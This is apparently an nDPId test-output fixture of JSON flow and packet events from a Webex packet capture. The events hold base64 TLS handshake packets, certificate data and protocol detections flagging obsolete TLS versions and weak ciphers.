+00493{"flow_id":9,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":221,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570633,"pkt_ts_usec":362374,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"ABoRAAACABoRAAABCABFAABn7DJAAEAGmqoKCAABQERpZ6GOAbtaKC3jpdfSHlAYOQhBGAAAFgMBADoBAAA2AwHTw\/bn8phv0cUj5hxDCEb0N0sEPfC+Zz7P154TmGT2KQAABAA1AP8BAAAJACMAAAAPAAEB"} +00730{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":221,"source":"webex.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":4,"flow_first_seen":1444570633357,"flow_last_seen":1444570633362,"flow_tot_l4_data_len":163,"flow_min_l4_data_len":20,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.103","src_port":41358,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00408{"flow_id":9,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":222,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570633,"pkt_ts_usec":362543,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAXtAABAGtaFARGlnCggAAQG7oY6l19IeWiguIlAQ\/\/9YlgAA"} +02247{"flow_id":9,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":223,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570633,"pkt_ts_usec":759559,"pkt_caplen":1414,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1414,"pkt_l4_len":1380,"pkt":"ABoRAAACABoRAAABCABFAAV4AXxAABAGsFBARGlnCggAAQG7oY6l19IeWiguIlAY\/\/98JgAAFgMBD14CAABNAwFWGmYPgnRc4iMnpQXjn7W1o8Eq0vfQyXO+n056EKcu0yDKqOB0ehPXzyt5zMr3ZHbaIAcaxRyOh0DvxOa9GFdTSAA1AAAF\/wEAAQALAA8FAA8CAATpMIIE5TCCA82gAwIBAgIQKXSJqdQeSb5h94FpRuYh8zANBgkqhkiG9w0BAQsFADB+MQswCQYDVQQGEwJVUzEdMBsGA1UEChMUU3ltYW50ZWMgQ29ycG9yYXRpb24xHzAdBgNVBAsTFlN5bWFudGVjIFRydXN0IE5ldHdvcmsxLzAtBgNVBAMTJlN5bWFudGVjIENsYXNzIDMgU2VjdXJlIFNlcnZlciBDQSAtIEc0MB4XDTE1MDQxMDAwMDAwMFoXDTE4MDQxMDIzNTk1OVowdzELMAkGA1UEBhMCdXMxEzARBgNVBAgMCkNhbGlmb3JuaWExETAPBgNVBAcMCFNhbiBKb3NlMRwwGgYDVQQKDBNDaXNjbyBTeXN0ZW1zLCBJbmMuMQwwCgYDVQQLDANDU0cxFDASBgNVBAMMCyoud2ViZXguY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnXjIYUvDCGFnLF6CX7BhvJlmnmrg0KiZFcDP6TyJs2s+n7Hjqpb8O374x26knzLrTkrkpNBVvbi6eY8X6lmrWlqvlgEoyMmslNbZoAjUy1C9HNIMI2F1bLGI\/pKRUGbpk5wvAv6SKOf+cKi3mis7U2sccUb8cFxKTVpp62iK2uOzkFa4zF1i4hm\/NKjJWJVuj\/D8tQpd0PSuU5wWY7G1x\/5UpvvDV7KS7Tsmn3ib\/8gstBL+PLvKZHJ8YWc8u02oGZQoWD64APslwdmLLyDqq5USERl2bc761RHbBhnmKf3IpyvGqgfCFbQ7hfb+sniY0O+KQiBpaJI1bt4iiHQ1YQIDAQABo4IBZDCCAWAwFgYDVR0RBA8wDYILKi53ZWJleC5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMGUGA1UdIAReMFwwWgYKYIZIAYb4RQEHNjBMMCMGCCsGAQUFBwIBFhdodHRwczovL2Quc3ltY2IuY29tL2NwczAlBggrBgEFBQcCAjAZGhdodHRwczovL2Quc3ltY2IuY29tL3JwYTAfBgNVHSMEGDAWgBRfYM9hkFXfhEMUimAqsvV69EMY7zArBgNVHR8EJDAiMCCgHqAchhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNybDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9zcy5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9zcy5zeW1jYi5jb20vc3MuY3J0MA0GCSqGSIb3DQEBCwUAA4IBAQAU0XVgHR8KQTLFFzVVA7s1Rlqj4+dm5q+OB5OfJMqYeX\/hnGHVeD8z9\/9EdKsauBRbbFpJk38PC3aGoy0iL9v8CA4V6o0qYzEfedbF\/p\/UuvtChO8CktAaqN64hPdToCJEy3gqyB\/Hv7VVuKXUBogujzn1WBdIyBUlO\/hClSnOD8Qq1So\/AzCrw+\/ChOOV7DI631hsLE1M73UmQqxi7Cbu5R5TsXH6v6s\/7CAPBhVtuxTBBcBuPtA6Pd2Q8vOf6ByuErVmWAV\/tOLfjGuqPuM2JoxzR1iH82zcoIcxOzmtUIYsiTuUSCi\/AsNsm265BOW9oeh5kgZU+pE6LkGX9bECAAU8MIIFOA=="} +00406{"flow_id":9,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":224,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570633,"pkt_ts_usec":810470,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo7DNAAEAGmugKCAABQERpZ6GOAbtaKC4ipdfXblAQP8AThgAA"} +03883{"flow_id":9,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":225,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570633,"pkt_ts_usec":811592,"pkt_caplen":2633,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2633,"pkt_l4_len":2599,"pkt":"ABoRAAACABoRAAABCABFAAo7AX1AABAGq4xARGlnCggAAQG7oY6l19duWiguIlAY\/\/\/KpQAAMIIEIKADAgECAhBRP7l0OHC3NEBBjTCTBpn\/MA0GCSqGSIb3DQEBCwUAMIHKMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAyMDA2IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHNTAeFw0xMzEwMzEwMDAwMDBaFw0yMzEwMzAyMzU5NTlaMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCy2AXKHHQttRdWOcVKUgmW6EvYDPFon5pCKGLDpTBTflURglsDeg0v4XkEybSWdxmBAZRZ+bz3epkngi23g91aJ3+yA3qcUyXpSB9GT8idKfi+eVb29\/3ZOmjai0uCM0ESw8g8zNaWeoQhGiIEAycXixxoYZMPDlGAMx20tc7rftBirO6zewF072k168rVPanul5jKjapEDiWZShWWpM5tAlQfKmom4gY6Y0istEzRdZNQ\/xMv1trhxhj1n8klXfMAOt4mTbQpCc0PPSNvFkqBFvvygxDDuNbYVTI98b0PvYxSlUoWl3pSIWN1Lxb5xGa+9bUJ2P8nAM1EfG9LP7D3AgMBAAGjggFjMIIBXzASBgNVHRMBAf8ECDAGAQH\/AgEAMDAGA1UdHwQpMCcwJaAjoCGGH2h0dHA6Ly9zMS5zeW1jYi5jb20vcGNhMy1nNS5jcmwwDgYDVR0PAQH\/BAQDAgEGMC8GCCsGAQUFBwEBBCMwITAfBggrBgEFBQcwAYYTaHR0cDovL3MyLnN5bWNiLmNvbTBrBgNVHSAEZDBiMGAGCmCGSAGG+EUBBzYwUjAmBggrBgEFBQcCARYaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9jcHMwKAYIKwYBBQUHAgIwHBoaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9ycGEwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM0MB0GA1UdDgQWBBRfYM9hkFXfhEMUimAqsvV69EMY7zAfBgNVHSMEGDAWgBR\/02Wnwt3su\/AwCfNDOfoCrzMxMzANBgkqhkiG9w0BAQsFAAOCAQEAXpRWSd2OLWX1wTZRtgPj2p5zGfIfWatYfmwmBSz6gddcIxciLDeT94bsheawo\/0f4jKoRW\/h2fu5r9JwoDJCZb+E\/hYqjz\/Fptajk31D6XQhkTUo9GPpLu339Vx\/S5q1IOkKveBFEAwUlJpdpeNLkegkm0ZAZfQics2Z+IgR9fN\/5jOC5qjFfv7QCOIlWAhxaObNouYU3k5SJC395XkTU+deLy1NG21AFVIr94eJeBKBbtlNqi141MIsPQhfh5GeHw6w3jBSZIaJqp1mnA52DIDydNgq+Lg6ztfWDxG+a6sU9b1BoCJjifG6D28pY2YtP6yMcsX7x+TUD\/I7T4wpxwAE1DCCBNAwggQ5oAMCAQICECUM6OAwYS6fK4n3BU18+P0wDQYJKoZIhvcNAQEFBQAwXzELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTA2MTEwODAwMDAwMFoXDTIxMTEwNzIzNTk1OVowgcoxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazE6MDgGA1UECxMxKGMpIDIwMDYgVmVyaVNpZ24sIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTFFMEMGA1UEAxM8VmVyaVNpZ24gQ2xhc3MgMyBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEc1MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAryQICCl6NZ5gDKrnSztO3Hy8PEUcuyvg\/ikC+VcIo2SFFSf18a3IMYldIugqqqZCs4\/4uVW3sbdLs\/6PfgdX7O9D22ZiFWHPYA2k2N744MNiCD1UE+tJyllUhSblK48bn+v1oZHCM0nYQ2NqUkvSj+hwUU3RiWl7x3D2s9wSdNt7XUtW05a\/FXehsPSiJfKvHJJnGOX0BgTvkLnkAOTdOrUZ\/wK69Dzu4IvrN4vs9Nes8vbwPa\/ddZEzGR0cQMt0JBkhk9kU\/qwqUseP1QRJ5I1jR4g8aYPL\/ke9K35PxZWuDp3U0UPAZ3PjFAh+5T+fc7gzCs9dPzSHloruU+glFQIDAQABo4IBmzCCAZcwDwYDVR0TAQH\/BAUwAwEB\/zAxBgNVHR8EKjAoMCagJKAihiBodHRwOi8vY3JsLnZlcmlzaWduLmNvbS9wY2EzLmNybDAOBgNVHQ8BAf8EBAMCAQYwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LnZlcmlzaWduLmNvbS9jcHMwHQYDVR0OBBYEFH\/TZafC3ey78DAJ80M5+gKvMzEzMG0GCCsGAQUFBwEMBGEwX6FdoFswWTBXMFUWCWltYWdlL2dpZjAhMB8wBwYFKw4DAhoEFI\/l0xqGrI2Oa8PPgGrUSBgsexkuMCUWI2h0dHA6Ly9sb2dvLnZlcmlzaWduLmNvbS92c2xvZ28uZ2lmMDQGCCsGAQUFBwEBBCgwJjAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AudmVyaXNpZ24uY29tMD4GA1UdJQQ3MDUGCCsGAQUFBwMBBggrBgEFBQcDAgYIKwYBBQUHAwMGCWCGSAGG+EIEAQYKYIZIAYb4RQEIATANBgkqhkiG9w0BAQUFAAOBgQATAt346IYA8lr4+CAMWYhiB87O9075u1mhmOXhON1OvGYY063rGPINyW0+SpQgwzy6vWVUxq9EsxCtLGs+q9cHtriBY8X5Xi7lKmfOzTMMKteJVgMjH7O+6DoIWbTsRTX3ilv\/Zs9Qr8ZtV40ZeLe5otFX6h+aS6+6yY4Sfsa9\/w4AAAA="} +01110{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":225,"source":"webex.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":8,"flow_first_seen":1444570633357,"flow_last_seen":1444570633811,"flow_tot_l4_data_len":4182,"flow_min_l4_data_len":20,"flow_max_l4_data_len":2599,"flow_avg_l4_data_len":522,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.103","src_port":41358,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"*.webex.com","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"91589ea825a2ee41810c85fab06d2ef6","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_CBC_SHA","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=us, ST=California, L=San Jose, O=Cisco Systems, Inc., OU=CSG, CN=*.webex.com","fingerprint":"61:C9:DE:EE:FA:AE:DC:17:A0:36:B9:68:F9:17:F6:5A:90:7B:14:E1"}} +00406{"flow_id":9,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":226,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570633,"pkt_ts_usec":862615,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo7DRAAEAGmucKCAABQERpZ6GOAbtaKC4ipdfhgVAQUJj4mgAA"} +00857{"flow_id":9,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":227,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570633,"pkt_ts_usec":862998,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"ABoRAAACABoRAAABCABFAAFu7DVAAEAGmaAKCAABQERpZ6GOAbtaKC4ipdfhgVAYUJgTNwAAFgMBAQYQAAECAQB9e7+NQHEVjddpWUvPW6gV6\/uT\/ulXG5JxuO2\/mzmtXH4zuQRw4iJCJPU3VPj6u38aPmB4Dsrc2Qs7ct0BxP7VNOFNHbm4pP4m\/3dz2Pjv9y\/W0h7QlT85w8QCL34iEAdymlHA5KlHcdrW+I+vmDbGdQmyygBMVJCS\/bCmSL7JoPdVIpFgDVVF+4lbc3He9yu65EhIhdjxOIS8ikJ9hxIMoSUUgeXpqoEMVJYMxCSBnDrePp9ACWlVgT9pI70aFkz+oJ9T\/isvSvlMITHn5IT78zWHA0bxvsyWLreoOZ9\/CzO5bs4+NWuoDSobztYVtDo3kFpJzWS5Vqe1lXyKfjipFAMBAAEBFgMBADCzHuR\/K+4uIP\/YCZDD3LbGmMwrUaEgFCaL0QLOypFC3IeRFhoJZMkn2m5kv4Bl\/K8="} +00409{"flow_id":9,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":228,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570633,"pkt_ts_usec":863970,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAX5AABAGtZ5ARGlnCggAAQG7oY6l1+GBWigvaFAQ\/\/9H7QAA"} +00491{"flow_id":9,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":229,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570634,"pkt_ts_usec":73820,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"ABoRAAACABoRAAABCABFAABjAX9AABAGtWJARGlnCggAAQG7oY6l1+GBWigvaFAY\/\/+j2gAAFAMBAAEBFgMBADDroF4qYP0Eb4y2au1\/mUKGmfDkasDlia2JhDi5pJtups0jHTP1rGqdG5vmc6tuyL0="} +01143{"flow_id":9,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":230,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570634,"pkt_ts_usec":124821,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"ABoRAAACABoRAAABCABFAAJA7DZAAEAGmM0KCAABQERpZ6GOAbtaKC9opdfhvFAQUJix4QAAFwMBACC2Gf98Lp3bUwIlav73r8\/RI8c9Dn9LTEAK7H9AKpnY2hcDAQIQQu0+BOhGMCHr6u35CSjzcixsV7Gd1f+U7zb+kRVo\/VUdxUFXkCuvjf38HXZG0MCUGizOrUDSjMjEmJlwX\/YdPx3iJqrloL3xFqpC1\/mG6wsgfWsOC7O9Uhxu7fogAPGhGmU79Evgh4Sae4yBGszAUYTMtJOxgVWijoO32g2Soco8\/NB8XFRGVMkkaXy6vQ8kw1wfIX7BzZBf1N6ccMV\/FAMko\/a+1VvZEfQrjlcMNUDOw3OqHCJAyksuO8Va4jBI3k9DZTQ2FV\/YTiH+7ZMZFJww6cTNH9CEUVRpXJ4WpqfVvV7fOwbb0qDBgpJt+HLSOSN8sI2DUcBsYvXP8DvDxVZKsHRzSbH0+i2EpYHbd9KWGTktCDcoADim\/yzZvjqoCzKMkaZrCcRF+zcVI\/WMh7Ruj17CNaxZHdV0LQZnoiQT6hDC+gsxli3OnOfjuvgXxg5XDtlNKXQgvieOTTUrsu8pdXHmVJ28P2dOz2ANpVJONCUcqtRIwr2Zj0XSbIYiWDwtKcClS\/3iYfp5AbMbNdfxzmLKdYKuvcPE\/sHGbBqWMP0EbQbsipOM\/Q76ik\/J0t\/9NAQy0UNk0saRvWTKcC8ai93rl1oWKsiCHL8\/12BXybpctrzVVshMoML\/Rd009EnsSl+1yWVrmBFedfo="} +00409{"flow_id":9,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":231,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570634,"pkt_ts_usec":125667,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAYBAABAGtZxARGlnCggAAQG7oY6l1+G8WigxgFAQ\/\/9FmgAA"} +00456{"flow_id":9,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":232,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570634,"pkt_ts_usec":126109,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"ABoRAAACABoRAAABCABFAABK7DdAAEAGmsIKCAABQERpZ6GOAbtaKDGApdfhvFAYUJhLJQAA6M8TR5XszWO89LtX48bicE\/9oPFdvfJa9CRPtEy1N2EC0A=="} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":256,"source":"webex.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1444570636151,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"114.29.213.212","src_port":41726,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":256,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":151328,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8tbVAAEAGMwwKCAABch3V1KL+AbsYGndcAAAAAKACOQjFmAAAAgQFtAQCCAoATMLpAAAAAAEDAwY="} +00409{"flow_id":10,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":257,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":154295,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAY1AABAGF0lyHdXUCggAAQG7ov7n5YijGBp3XVAS\/\/+5HQAA"} +00407{"flow_id":10,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":258,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":154740,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAotbZAAEAGMx8KCAABch3V1KL+AbsYGndd5+WIpFAQOQiAFgAA"} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":259,"source":"webex.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1444570636155,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"114.29.204.49","src_port":51646,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":259,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":155519,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8NxlAAEAGu0sKCAABch3MMcm+AbvkVPXwAAAAAKACOQhdrAAAAgQFtAQCCAoATMLpAAAAAAEDAwY="} +00409{"flow_id":11,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":260,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":157830,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAY5AABAGIOtyHcwxCggAAQG7yb4bqwoP5FT18VAS\/\/+cAAAA"} +00493{"flow_id":10,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":261,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":157950,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"ABoRAAACABoRAAABCABFAABntbdAAEAGMt8KCAABch3V1KL+AbsYGndd5+WIpFAYOQhDcwAAFgMBADoBAAA2AwEixpBV3K1aYKpnKzRaOLYWz3kxtW8gINw5Lf9cpQ2h2AAABAA1AP8BAAAJACMAAAAPAAEB"} +00732{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":261,"source":"webex.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":4,"flow_first_seen":1444570636151,"flow_last_seen":1444570636157,"flow_tot_l4_data_len":163,"flow_min_l4_data_len":20,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"114.29.213.212","src_port":41726,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00409{"flow_id":10,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":262,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":158232,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAY9AABAGF0dyHdXUCggAAQG7ov7n5YikGBp3nFAQ\/\/+43wAA"} +00407{"flow_id":11,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":263,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":158443,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoNxpAAEAGu14KCAABch3MMcm+AbvkVPXxG6sKEFAQOQhi+QAA"} +00493{"flow_id":11,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":264,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":159914,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"ABoRAAACABoRAAABCABFAABnNxtAAEAGux4KCAABch3MMcm+AbvkVPXxG6sKEFAYOQjpBAAAFgMBADoBAAA2AwELSWRUw5u41GvWexySi8w7aRuG0UGhgcOkKRM8ZLYwuAAABAA1AP8BAAAJACMAAAAPAAEB"} +00731{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":264,"source":"webex.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":4,"flow_first_seen":1444570636155,"flow_last_seen":1444570636159,"flow_tot_l4_data_len":163,"flow_min_l4_data_len":20,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"114.29.204.49","src_port":51646,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00409{"flow_id":11,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":265,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":160142,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAZBAABAGIOlyHcwxCggAAQG7yb4bqwoQ5FT2MFAQ\/\/+bwgAA"} 